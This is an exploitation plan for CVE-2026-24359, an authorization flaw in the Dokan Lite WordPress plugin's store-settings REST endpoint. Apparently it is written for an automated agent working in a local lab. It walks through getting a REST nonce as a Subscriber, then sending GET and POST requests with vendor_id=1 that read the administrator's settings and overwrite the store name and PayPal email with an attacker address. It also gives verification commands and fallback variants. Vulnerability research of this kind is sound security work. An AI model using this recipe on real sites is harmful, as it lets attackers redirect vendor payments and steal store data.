Detailed Exploitation Research Plan: CVE-2026-24359

1. Vulnerability Summary

The Dokan Lite plugin (up to version 4.2.4) contains a missing authorization vulnerability (IDOR) within its REST API settings endpoint. The WeDevs\Dokan\REST\StoreSettingController class defines routes for retrieving and updating store settings. While it implements a permission_callback, the callback only verifies that the current requester is a logged-in user and that a "vendor" (user) exists for the provided ID. It fails to verify if the requester has permission to modify the specific vendor's settings.

This allow any authenticated user (e.g., a Subscriber) to view or modify the store settings (including PayPal/Bank payment details, store name, and address) of any other vendor or administrator on the site by specifying a vendor_id parameter.

2. Attack Vector Analysis

• Endpoint: /wp-json/dokan/v1/settings
• Method: GET (for information disclosure) and POST/PUT/PATCH (for unauthorized modification).
• Vulnerable Parameter: vendor_id (Query parameter).
• Authentication: Required (Subscriber level or higher).
• Required Header: X-WP-Nonce (standard WordPress REST API nonce).

3. Code Flow

1. Registration: In includes/REST/StoreSettingController.php, the register_routes() method registers the /settings endpoint. Both READABLE and EDITABLE methods use get_settings_permission_callback as the permission_callback.
2. Permission Check: The get_settings_permission_callback() (line 144) calls $this->get_vendor().
3. Vendor Retrieval (Flawed): The get_vendor($request = null) method (line 164) prioritizes a vendor_id parameter from the request. If vendor_id is provided, it fetches that user. If not, it uses the current user ID.
4. Authorization Failure:
   • During the permission_callback, the request object is typically passed but not explicitly used in the signature. The call $this->get_vendor() (no args) inside the callback defaults to the current user. Since the current user is logged in, they are considered a valid "vendor" by Dokan, and the check returns true.
   • During the actual action (e.g., update_settings), the controller calls $this->get_vendor( $request ) (line 111). This time, it processes the vendor_id query parameter, shifting the context to the target user.
5. Execution: update_settings calls dokan()->vendor->update( $target_vendor_id, $params ), modifying the target user's metadata without verifying the relationship between the requester and the target.

4. Nonce Acquisition Strategy

The endpoint is a standard WordPress REST API route. To interact with it while authenticated via cookies, a wp_rest nonce is required.

1. Identify Enqueue: Dokan's core scripts (like core-store.js) use wp-api-fetch. These scripts are typically enqueued on the WordPress Dashboard or Dokan Vendor Dashboard.
2. Creation: No special shortcode is required as standard WordPress functionality enqueues the REST nonce for logged-in users in the admin area.
3. Extraction:
   • Login as a Subscriber.
   • Navigate to /wp-admin/.
   • Use browser_eval to extract the nonce from the global wpApiSettings object.
   • JS Command: window.wpApiSettings?.nonce

5. Exploitation Strategy

Step 1: Information Disclosure (Optional but useful)

Retrieve sensitive settings (e.g., payment email) of the Administrator (usually ID 1).

• Request Tool: http_request
• Method: GET
• URL: http://localhost:8080/wp-json/dokan/v1/settings?vendor_id=1
• Headers:
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Expected Response: JSON object containing the administrator's store settings, social links, and payment method info.

Step 2: Unauthorized Modification

Change the store name or payment email of the Administrator.

• Request Tool: http_request
• Method: POST
• URL: http://localhost:8080/wp-json/dokan/v1/settings?vendor_id=1
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Body:

  {
      "store_name": "Hacked by Subscriber",
      "social": {
          "fb": "https://facebook.com/attacker"
      },
      "payment": {
          "paypal": {
              "email": "attacker@evil.com"
          }
      }
  }
  

6. Test Data Setup

1. Target: Ensure an Administrator user exists (User ID 1).
2. Attacker: Create a user with the subscriber role.
3. Dokan Setup: Ensure Dokan Lite is active. The plugin automatically treats users as "vendors" for the purpose of the settings endpoint.

7. Expected Results

• The GET request should return a 200 OK with a JSON payload containing details that a Subscriber should not see for another user.
• The POST request should return a 200 OK and a response body mirroring the updated data.
• The database state for the target user (ID 1) should reflect the injected values.

8. Verification Steps

After performing the POST request, verify the change using WP-CLI:

# Check the target user's dokan_profile_settings meta
wp user meta get 1 dokan_profile_settings

Expected output: The store_name should be "Hacked by Subscriber" and the PayPal email should be updated.

9. Alternative Approaches

If vendor_id is not accepted as a query parameter in some environments, try including it in the JSON body:

{
    "vendor_id": 1,
    "store_name": "Hacked via Body Param"
}

If the wpApiSettings object is missing, the nonce can be found by searching the HTML source for "nonce":"..." within the script tags or by checking the X-WP-Nonce header in any network request made by the WordPress dashboard.